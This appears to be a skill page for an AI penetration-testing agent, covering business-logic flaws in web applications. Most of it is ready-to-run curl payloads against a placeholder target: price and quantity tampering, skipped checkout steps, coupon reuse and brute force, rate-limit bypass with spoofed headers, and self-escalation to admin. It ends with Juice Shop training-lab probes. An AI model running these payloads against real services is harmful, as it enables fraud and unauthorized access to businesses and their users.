一键导入
business-logic-testing
Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Detect PII, credentials, and corporate sensitive data in API responses, source code, files, headers, and database extracts
Detect and exploit SQL injection vulnerabilities in web application parameters
Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses
Detect and exploit cross-site scripting vulnerabilities in web applications
Discover hidden parameters, test values, and identify input handling anomalies
File upload vulnerability testing — webshells, bypass, path traversal
| name | business-logic-testing |
| description | Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws |
| origin | RedteamOpencode |
run_tool curl — craft requests with manipulated parametersrun_tool ffuf — fuzz parameter values for boundary conditionsFor live engagement target requests, prefer plain run_tool curl and let the current
engagement's auth.json flow through rtcurl automatically. Only add explicit
-b / -H "Authorization: ..." when intentionally testing alternate identities,
broken session handling, or auth override behavior.
Test if steps in multi-step processes can be skipped:
# Identify all steps in a workflow (e.g., checkout)
# Step 1: /cart → Step 2: /shipping → Step 3: /payment → Step 4: /confirm
# Skip directly to final step
run_tool curl -s -X POST "http://target/api/order/confirm" \
-H "Content-Type: application/json" \
-d '{"orderId":"123"}'
# Skip payment step — go from shipping to confirm
run_tool curl -s -X POST "http://target/api/order/confirm" \
-H "Content-Type: application/json" \
-d '{"orderId":"123","shippingId":"456"}'
# Repeat a step that should only execute once (e.g., apply coupon)
run_tool curl -s -X POST "http://target/api/coupon/apply" \
-d '{"code":"DISCOUNT50","orderId":"123"}'
# Apply same coupon again
run_tool curl -s -X POST "http://target/api/coupon/apply" \
-d '{"code":"DISCOUNT50","orderId":"123"}'
Test if financial values can be tampered:
# Negative quantity
run_tool curl -s -X POST "http://target/api/cart/add" \
-d '{"productId":"1","quantity":-5,"price":100}'
# Zero price
run_tool curl -s -X POST "http://target/api/cart/add" \
-d '{"productId":"1","quantity":1,"price":0}'
# Fractional values where integer expected
run_tool curl -s -X POST "http://target/api/cart/add" \
-d '{"productId":"1","quantity":0.001}'
# Overflow: extremely large values
run_tool curl -s -X POST "http://target/api/transfer" \
-d '{"amount":99999999999999}'
# Modify price in request (if client sends price)
# Compare: does server validate price matches catalog?
run_tool curl -s -X POST "http://target/api/order/create" \
-d '{"productId":"1","quantity":1,"price":0.01}'
# Currency confusion — send different currency code
run_tool curl -s -X POST "http://target/api/payment" \
-d '{"amount":100,"currency":"JPY"}'
Test if state transitions can be manipulated:
# Modify status directly
run_tool curl -s -X PUT "http://target/api/order/123" \
-d '{"status":"completed"}'
# Cancel after completion
run_tool curl -s -X POST "http://target/api/order/123/cancel"
# Re-open closed ticket/order
run_tool curl -s -X PUT "http://target/api/order/123" \
-d '{"status":"pending"}'
# Access resources in wrong state
# e.g., download invoice before payment
run_tool curl -s "http://target/api/order/123/invoice"
# Modify data after approval
run_tool curl -s -X PUT "http://target/api/application/123" \
-d '{"amount":999999}'
# Brute force with no rate limit
for i in $(seq 1 100); do
run_tool curl -s -X POST "http://target/api/coupon/redeem" \
-d "{\"code\":\"GUESS$i\"}" -o /dev/null -w "%{http_code}\n"
done
# Bypass rate limit via IP rotation headers
run_tool curl -s -X POST "http://target/api/login" \
-H "X-Forwarded-For: 1.2.3.$((RANDOM % 255))" \
-d '{"user":"admin","pass":"test"}'
# Bypass via case variation
run_tool curl -s "http://target/api/coupon/apply" -d '{"code":"DISCOUNT50"}'
run_tool curl -s "http://target/api/coupon/apply" -d '{"code":"discount50"}'
run_tool curl -s "http://target/api/coupon/apply" -d '{"code":"Discount50"}'
# Email/notification abuse — trigger mass emails
run_tool curl -s -X POST "http://target/api/invite" \
-d '{"emails":["a@x.com","b@x.com","c@x.com",...1000 emails]}'
# Referral abuse — refer yourself
run_tool curl -s -X POST "http://target/api/referral" \
-d '{"referralCode":"MY_CODE"}' -b "session=TOKEN_DIFFERENT_ACCOUNT"
# Gift card / point manipulation
# Buy gift card with gift card balance
run_tool curl -s -X POST "http://target/api/purchase" \
-d '{"product":"gift_card","paymentMethod":"gift_card_balance"}'
# Time-based abuse — use expired offer
run_tool curl -s -X POST "http://target/api/offer/apply" \
-d '{"offerId":"expired_offer_123"}'
# Privilege escalation via profile update
run_tool curl -s -X PUT "http://target/api/user/profile" \
-d '{"role":"admin","isAdmin":true,"userType":"staff"}'
# Type confusion — string where number expected
run_tool curl -s -X POST "http://target/api/transfer" \
-d '{"amount":"abc","to":"user2"}'
# Boolean confusion
run_tool curl -s -X POST "http://target/api/settings" \
-d '{"isPublic":"true"}' # string vs boolean
run_tool curl -s -X POST "http://target/api/settings" \
-d '{"isPublic":1}' # number vs boolean
# Array where single value expected
run_tool curl -s -X POST "http://target/api/user/update" \
-d '{"email":["admin@target.com","attacker@evil.com"]}'
# Null / undefined injection
run_tool curl -s -X POST "http://target/api/payment" \
-d '{"amount":null}'
run_tool curl -s -X POST "http://target/api/payment" \
-d '{}'
When the target fingerprints as OWASP Juice Shop, keep the following challenge-triggering logic probes alive until they either produce solved-state evidence or are requeued with the exact blocker. Do not retire these as "duplicate" just because a broader endpoint finding already exists.
POST /api/Feedbacks/ with rating: 5 and a forged/alternate UserId or
author context, then check the scoreboard/challenge evidence before marking the case done.admin@juice-sh.op, bjoern@owasp.org, jim@juice-sh.op) and record whether the
Password Strength challenge flips. If only missing credentials block it, return REQUEUE
with the exact credential source already checked.POST /api/Users/ or the native register workflow with role=admin / equivalent role
field) and then check /api/Challenges for registerAdminChallenge. If the API strips the
role or the UI omits the field, return REQUEUE with the exact request body, observed
response, and remaining role-injection surface instead of closing registration as generic
create-account coverage.sqlite_master, information_schema, ORM metadata, or the
equivalent DB error path) and preserve the response artifact. Do not stop at admin login
success if schema extraction has not been attempted.REQUEUE with a concrete
api or form follow-up instead of DONE STAGE=exhausted./api/Feedbacks/, the feedback/contact route, or any feedback mutation is discovered,
run or requeue one exact rating=5 feedback submission and immediately solved-check
/api/Challenges / Score Board for fiveStarFeedbackChallenge. If a feedback mutation
succeeds but the solved flag remains false, requeue the native feedback route or the
exact alternate payload/body rather than closing the branch as already covered./api/Challenges still shows
the named challenge as unsolved, preserve the request/response artifact and return
REQUEUE with the exact next challenge-triggering payload or browser route to try. Do
not let the operator proceed to report on "technical evidence remains" when solved-state
evidence disagrees.admin@juice-sh.op with the known weak-password candidate set from discovered
seed/persona evidence, including admin123 before broader brute force) and record the
challenge-state check. If the credential branch is blocked, requeue the exact tested
username plus the remaining candidate source instead of closing Password Strength as a
duplicate of admin access.sqlite_master extraction through the
injection-capable route and then immediately fetch /api/Challenges for the Database
Schema solved flag. If the probe only produces a generic ORM/stack trace, requeue the
exact schema-extraction payload rather than retiring the route as generic error handling./api/Users, authentication-details, or cracked-hash evidence is present but both
databaseSchemaChallenge and userCredentialsChallenge remain false, requeue one exact
SQLi/schema payload path and one exact credential-bearing consumer path before report;
do not rely on admin login, user roster enumeration, or masked-password rows as closure.